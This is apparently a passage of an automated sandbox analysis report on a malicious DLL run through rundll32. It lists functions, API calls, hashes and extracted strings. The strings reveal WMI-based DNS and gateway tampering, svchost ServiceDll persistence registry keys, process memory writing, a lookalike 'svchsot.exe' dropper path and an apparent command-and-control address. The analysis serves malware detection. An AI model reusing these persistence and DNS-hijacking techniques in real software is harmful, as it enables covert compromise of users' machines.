Instruction ID: 0bcee575146c1e5c4bc0c3f0e2efc98e3102ad08c7b031823cab273adbecfb8d
Opcode Fuzzy Hash: 0ce223196c44f2370e13e00feec4bfde119dc900f9d0c8cd7ae9a200d1607e84
Instruction Fuzzy Hash: F502C4715043469FE720DF64C884AAFB7E9FB88394F008A2DF5999B280DB75DD81CB52

Function 10009640 Relevance: 16.9, Strings: 13, Instructions: 688COMMON

Download Yara Rule

Strings

ROOT\CIMV2, xrefs: 100096DA
Win32_NetworkAdapterConfiguration, xrefs: 10009683, 1000974A, 100097A8
SetDNSServerSearchOrder, xrefs: 10009D5C, 10009E84
GatewayCostMetric, xrefs: 10009C0B
WQL, xrefs: 10009874
DNSServerSearchOrder, xrefs: 10009E33
SetGateways, xrefs: 10009A5B, 10009C8A
Win32_NetworkAdapterConfiguration.Index=, xrefs: 100099AB
IPEnabled=TRUE, xrefs: 100097E5, 10009831
Index, xrefs: 10009937
WHERE , xrefs: 100097FC
SELECT * FROM , xrefs: 1000979A
DefaultIPGateway, xrefs: 10009B8C

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: WHERE $DNSServerSearchOrder$DefaultIPGateway$GatewayCostMetric$IPEnabled=TRUE$Index$ROOT\CIMV2$SELECT * FROM $SetDNSServerSearchOrder$SetGateways$WQL$Win32_NetworkAdapterConfiguration$Win32_NetworkAdapterConfiguration.Index=
API String ID: 3448037634-1913130381
Opcode ID: 51b101c3c0528bff3dc3a5a8d8054af0c5bfe4afcaa312b89b4ad1427c49d158
Instruction ID: 422aa8304ea0dd682b4161e69f4c579d617248279d3008b81ee9107976b9911b
Opcode Fuzzy Hash: 51b101c3c0528bff3dc3a5a8d8054af0c5bfe4afcaa312b89b4ad1427c49d158
Instruction Fuzzy Hash: 02427F706083819FE364CB68C881B6BBBE4FF85384F10492DF599D7295DB70E949CB52

Function 10006BF0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 10006C32
sprintf.MSVCRT ref: 10006D56

Strings

2003, xrefs: 10006CBB
2000, xrefs: 10006C8A
Vista, xrefs: 10006CD2
2008, xrefs: 10006CFF
Win %s SP%d, xrefs: 10006D50

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Versionsprintf
String ID: 2000$2003$2008$Vista$Win %s SP%d
API String ID: 1728264858-2264339393
Opcode ID: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction ID: 2420705a5d847b29da7bc657143dca2d79446832891e12a74f3d8b2563089a91
Opcode Fuzzy Hash: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction Fuzzy Hash: 7531E6357043445BF724C524C850AABB7D7F7C9360FA18B2EE95ACB384DA74DD098652

Function 100052A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10005333
wsprintfA.USER32 ref: 1000537B
FindNextFileA.KERNEL32(?,?,?,?,?,00000000,?,?,00000000), ref: 100053E8
FindClose.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 100053FB

Strings

., xrefs: 1000539C
\*.*, xrefs: 100052FB
%s\%s, xrefs: 10005375

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$.$\*.*
API String ID: 180737720-2210278135
Opcode ID: 6158b02a40cfa1e8ece74248f2afa690ecc6b7e7278f8e02395cafd1e3e61bb4
Instruction ID: 2e1d4cd89514877abfd59c36d78a4daaf7955f10aa71ebe425ca93e7152c8260
Opcode Fuzzy Hash: 6158b02a40cfa1e8ece74248f2afa690ecc6b7e7278f8e02395cafd1e3e61bb4
Instruction Fuzzy Hash: B63117765043445BD328CA74CC45AEBB7D9FBC8360F144F1DF6A6832C1DEB5DA088652

Function 10010400 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 619COMMON

Download Yara Rule

Strings

T, xrefs: 10010739
U, xrefs: 10010734
/, xrefs: 100104D8

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: /$T$U
API String ID: 0-733984016
Opcode ID: 525556d3e7044afcf2c16f4ef111071ab16cb3c8bd6f93a204e44dd9c90e561f
Instruction ID: 54e231698d8399043daabedda60659547f47bf3691f9c67918a969528f04d64c
Opcode Fuzzy Hash: 525556d3e7044afcf2c16f4ef111071ab16cb3c8bd6f93a204e44dd9c90e561f
Instruction Fuzzy Hash: 6822E0357083848BD714CE2894907AFBBE1EFC5350F54492EF9C98B382DAB5D989C792

Function 100100A0 Relevance: 3.1, APIs: 2, Instructions: 55timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 100100D5
SystemTimeToFileTime.KERNEL32(?,?), ref: 100100E5

Part of subcall function 1000F800: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?), ref: 1000F80D

Part of subcall function 1000F7D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000F7EC

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 3c7b63944ef902037c5997f2c77d2aef4e3869aed4e7be9e2536b261e6034266
Instruction ID: 995162f2c5de06f072ebb5dfe50ac0562f18bd270405066c96cf5d8846fcc540
Opcode Fuzzy Hash: 3c7b63944ef902037c5997f2c77d2aef4e3869aed4e7be9e2536b261e6034266
Instruction Fuzzy Hash: CB2192B5914B419FD364CF69C885A67BBE4FF88604F008E2EE5DAC3611E774E508CB51

Function 1000EF70 Relevance: 2.9, Strings: 2, Instructions: 405COMMON

Download Yara Rule

Strings

P, xrefs: 1000EF84
K, xrefs: 1000EF93

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 1c7b2ccdeeeddba721736ec1dc4bfc125495b0ad89618cf55ada5aa0aec28a9a
Instruction ID: d915cf7a3844b20744192fc994c5be6d907e7ce11dd85da2ee4327704e6dc918
Opcode Fuzzy Hash: 1c7b2ccdeeeddba721736ec1dc4bfc125495b0ad89618cf55ada5aa0aec28a9a
Instruction Fuzzy Hash: 67D18D30119381AFD621CB698CC0EABFBF9AFDAB00F44490DF6D593291D6A1E5498762

Function 1000EB80 Relevance: 2.8, Strings: 2, Instructions: 275COMMON

Download Yara Rule

Strings

PTU, xrefs: 1000EB9B, 1000EBA1
K, xrefs: 1000EBA3

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: K$PTU
API String ID: 0-3860820754
Opcode ID: d9d7c021faa5aa006803064c67ea797f7eddb5ea43c61edc3565542cf26a862f
Instruction ID: 57dcef8c008dabf52abf9e4636a7a5e332a2cb07ba24af8fd2032e897ee0a7d3
Opcode Fuzzy Hash: d9d7c021faa5aa006803064c67ea797f7eddb5ea43c61edc3565542cf26a862f
Instruction Fuzzy Hash: AB91913011A3856EDB04DB688CC0E9BFBED9FD6704F04494EFA809B296D5E1D549CBB2

Function 10004B90 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,00000000,1000718E), ref: 10004BAE

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 5c29c102cc9c653389ecacc8ddbee5a51ee40a280c19b6b36d48fb2c7fee9579
Instruction ID: 4a3738c88aa3e83466f495a16826e8226183112536dd6560dab8ac3166fdef8a
Opcode Fuzzy Hash: 5c29c102cc9c653389ecacc8ddbee5a51ee40a280c19b6b36d48fb2c7fee9579
Instruction Fuzzy Hash: 50D06CF5208342AF9708CF48D984C3BB7E9BBC8600F048D0CB59683210C730E849CB62

Function 100049F0 Relevance: 1.5, APIs: 1, Instructions: 6shutdownCOMMON

Download Yara Rule

APIs

ExitWindowsEx.USER32(?,00000000), ref: 100049FA

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExitWindows
String ID:
API String ID: 1089080001-0
Opcode ID: a826d04bc4acaab0df248578ff412a1e3f22f76450817561718ce58b9e070933
Instruction ID: 6834376b89d028fd7ceef46dd2decc3cf13db427bf36252ff7f61f5970c34d6c
Opcode Fuzzy Hash: a826d04bc4acaab0df248578ff412a1e3f22f76450817561718ce58b9e070933
Instruction Fuzzy Hash: E2B092B4104200ABDA04CBA0C98493A77A8AB88200B00880CF48582210C630D841CA11

Function 1000DB90 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

bad d_code, xrefs: 1000DC8E

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: bad d_code
API String ID: 0-2582332627
Opcode ID: 327568906bed5a48e17ba06d2ddebb37f7008130ae1c85090ddd3765f816ae03
Instruction ID: 5051aabb8c8f42bf7f0ad7204590e299647211c71809f1c43ca0660982d1e5e8
Opcode Fuzzy Hash: 327568906bed5a48e17ba06d2ddebb37f7008130ae1c85090ddd3765f816ae03
Instruction Fuzzy Hash: 1541E3751082429FE315EF69D840EFF77E6EF88284F45846EF8858B205EB70E905C7A2

Function 1000F500 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d8292dab876d3856fe77b003576302b6b8b57554ab1a7fa92ce49e5c0b0693b
Instruction ID: aa392b9c8528f05fc8196833d7f7bb75810528e03076ef8e7fbf563dca482b86
Opcode Fuzzy Hash: 5d8292dab876d3856fe77b003576302b6b8b57554ab1a7fa92ce49e5c0b0693b
Instruction Fuzzy Hash: C8315222BB90A207E354CEBD9CC4277B793D7CA246B6DC67CD588C7A1EC83AD8075250

Function 10008130 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 270COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 10008220

Strings

RegSetValueEx(Svchost\krnlsrvc), xrefs: 100083E1
SYSTEM\CurrentControlSet\Services\%s, xrefs: 10008267
ServiceDll, xrefs: 1000830D
RegOpenKeyEx(Svchost), xrefs: 100083A4
RegSetValueEx(ServiceDll), xrefs: 1000832F
%SystemRoot%\System32\svchost.exe -k , xrefs: 10008175
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 1000835A
SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 100082BD
Description, xrefs: 1000829B

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID: %SystemRoot%\System32\svchost.exe -k $Description$RegOpenKeyEx(Svchost)$RegSetValueEx(ServiceDll)$RegSetValueEx(Svchost\krnlsrvc)$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost$SYSTEM\CurrentControlSet\Services\%s$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll
API String ID: 1452528299-660433390
Opcode ID: 8ce3f485e2619df90460e7d732da1ec02d01a7549e0fcbc983bce7ed636aae29
Instruction ID: 33b863a364d67099490300b6d63850c99dec98ee91fa7a2b0d88b42f6c8783bc
Opcode Fuzzy Hash: 8ce3f485e2619df90460e7d732da1ec02d01a7549e0fcbc983bce7ed636aae29
Instruction Fuzzy Hash: 9E919671A00158ABEB15CBA4CC85BEE77E9FB88750F154269FA05E72C0DF749E41CB60

Function 10006330 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 211filesleepinjectionCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 100063C2
wsprintfA.USER32 ref: 10006434
wsprintfA.USER32 ref: 1000644D
CreateDirectoryA.KERNEL32(?,00000000), ref: 1000645C
WriteProcessMemory.KERNEL32(00000000,?,?,00000009,00000000), ref: 1000649A
time.MSVCRT(00000000), ref: 100064B7
srand.MSVCRT ref: 100064BE
rand.MSVCRT ref: 100064C7
rand.MSVCRT ref: 100064D5
rand.MSVCRT ref: 100064E3
rand.MSVCRT ref: 100064F1
rand.MSVCRT ref: 100064FF
rand.MSVCRT ref: 1000650D
wsprintfA.USER32 ref: 10006525
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 1000653E
CloseHandle.KERNEL32(00000000), ref: 10006545
Sleep.KERNEL32(000003E8), ref: 10006550
DeleteFileA.KERNEL32(?), ref: 1000655B

Strings

c:\windows\system32\drivers\%s\%s, xrefs: 10006447
c:\windows\system32\drivers\%s, xrefs: 1000642E
c:\windows\system32\drivers\etc\%c%c%c.%c%c%c, xrefs: 1000651F
%s\%s, xrefs: 100063BB

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: rand$wsprintf$CreateFile$CloseDeleteDirectoryHandleMemoryProcessSleepWritesrandtime
String ID: %s\%s$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s$c:\windows\system32\drivers\etc\%c%c%c.%c%c%c
API String ID: 3377497938-1917988604
Opcode ID: 0dba42889dc0f8d7b8647c302bd0f7389d4fc49d2d206becb2fc758216d159f0
Instruction ID: c69659560551726c28aa303df1a51e06c88e31100adfc53adbd4189e51445300
Opcode Fuzzy Hash: 0dba42889dc0f8d7b8647c302bd0f7389d4fc49d2d206becb2fc758216d159f0
Instruction Fuzzy Hash: C661C175204345AFE724CB64CC85BEAB7E6EBCC310F048A2CF64597295DB78E6488652

Function 10006A50 Relevance: 36.8, APIs: 7, Strings: 14, Instructions: 96stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006A7E
GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006A95
GetModuleFileNameA.KERNEL32(10000000,c:\xrzyhhhnk\uycmiha.dll,00000104), ref: 10006AA7
strrchr.MSVCRT ref: 10006AD5
wsprintfA.USER32 ref: 10006AED
wsprintfA.USER32 ref: 10006AFE
wsprintfA.USER32 ref: 10006B0F

Strings

ECF4BB570DC9, xrefs: 10006B55
c:\xrzyhhhnk\uycmiha.dll, xrefs: 10006AA1, 10006AA9
c:\xrzyhhhnk\version.txt, xrefs: 10006AF9
%s.txt, xrefs: 10006A74
09121307.txt, xrefs: 10006A79
%s\ReadMe.txt, xrefs: 10006AE0
c:\windows\SysWOW64\rundll32.exe, xrefs: 10006A8E
Mkrnaver.com:6520, xrefs: 10006B0A
krnaver.com:6520, xrefs: 10006B00
c:\xrzyhhhnk\ReadMe.txt, xrefs: 10006AE5
c:\xrzyhhhnk, xrefs: 10006ABB, 10006AC4, 10006ADB, 10006AEF
%s\version.txt, xrefs: 10006AF4
M%s, xrefs: 10006B05
09121307, xrefs: 10006A6F

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: wsprintf$FileModuleName$strrchr
String ID: %s.txt$%s\ReadMe.txt$%s\version.txt$09121307$09121307.txt$ECF4BB570DC9$M%s$Mkrnaver.com:6520$c:\windows\SysWOW64\rundll32.exe$c:\xrzyhhhnk$c:\xrzyhhhnk\ReadMe.txt$c:\xrzyhhhnk\uycmiha.dll$c:\xrzyhhhnk\version.txt$krnaver.com:6520
API String ID: 1444062329-3552955536
Opcode ID: fd1de15f43c206347c2ac9a46dc33d443f248e52294ce5f81c6693700653e1e0
Instruction ID: 04d4b27928b3db94c91fa8a3f6c5c52e8812e2580820e9d4d8c6f0595a90b4de
Opcode Fuzzy Hash: fd1de15f43c206347c2ac9a46dc33d443f248e52294ce5f81c6693700653e1e0
Instruction Fuzzy Hash: D521F671640A116FE318DB798C41FAA7AD1EB88320F554319F7169F2C1CBB4DD85C654

Function 1000F6F0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 1000F72E
_mbsicmp.MSVCRT ref: 1000F742
_mbsicmp.MSVCRT ref: 1000F756
_mbsicmp.MSVCRT ref: 1000F76A

Strings

.gz, xrefs: 1000F7A0
.zoo, xrefs: 1000F750
.lzh, xrefs: 1000F778
.arc, xrefs: 1000F764
.arj, xrefs: 1000F78C
.zip, xrefs: 1000F73C
.tgz, xrefs: 1000F7B4

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _mbsicmp
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1961004622-51310709
Opcode ID: 808ecf9ba61cca7d35e01d6ffb931e7b3765451d2e58726d03ba59bcbd5b0318
Instruction ID: ee2a091052f8c3b86a9c7290411a3b224c3c8ade4836fbf502385ceb4bcfd2c4
Opcode Fuzzy Hash: 808ecf9ba61cca7d35e01d6ffb931e7b3765451d2e58726d03ba59bcbd5b0318
Instruction Fuzzy Hash: 6B21A22260816221BA00B52D7C406EE93C8CFE20E6B07403BFD58D9A19FB55DDC3A4E7

Function 10005030 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 10005069

Part of subcall function 10004DA0: CreateFileA.KERNEL32(?,MZ@,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
Part of subcall function 10004DA0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
Part of subcall function 10004DA0: time.MSVCRT(00000000), ref: 10004E7F
Part of subcall function 10004DA0: _localtime32.MSVCRT(?), ref: 10004E8E
Part of subcall function 10004DA0: strftime.MSVCRT ref: 10004EA1
Part of subcall function 10004DA0: vsprintf.MSVCRT ref: 10004EF3
Part of subcall function 10004DA0: sprintf.MSVCRT ref: 10004F13

Strings

cmd.exe, xrefs: 10005040, 10005050
C:\Windows\6C4DA6FB\svchsot.vir, xrefs: 100050BF
self, xrefs: 1000507A
%s.%d, xrefs: 10005102
C:\Windows\6C4DA6FB\svchsot.exe, xrefs: 100050B0, 100050C4

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreateCurrentPointerProcess_localtime32sprintfstrftimetimevsprintf
String ID: %s.%d$C:\Windows\6C4DA6FB\svchsot.exe$C:\Windows\6C4DA6FB\svchsot.vir$cmd.exe$self
API String ID: 3192119092-4191049792
Opcode ID: ec2b08bf7f1156d9c8dcfe4d16c6df7a8508a6621eb8c1214a1196f4b0e722e6
Instruction ID: 7fa6494ac43d5dcc9c5c53410437834f8a30d40188a99b7aa6c5cd6ec2dc6e24
Opcode Fuzzy Hash: ec2b08bf7f1156d9c8dcfe4d16c6df7a8508a6621eb8c1214a1196f4b0e722e6
Instruction Fuzzy Hash: D8112BB26402147BF3119754EC8ABEA3348DF84362F414131F70496181DA76E5A8C6B7

Function 1000A9F0 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 338COMMON

Download Yara Rule

Strings

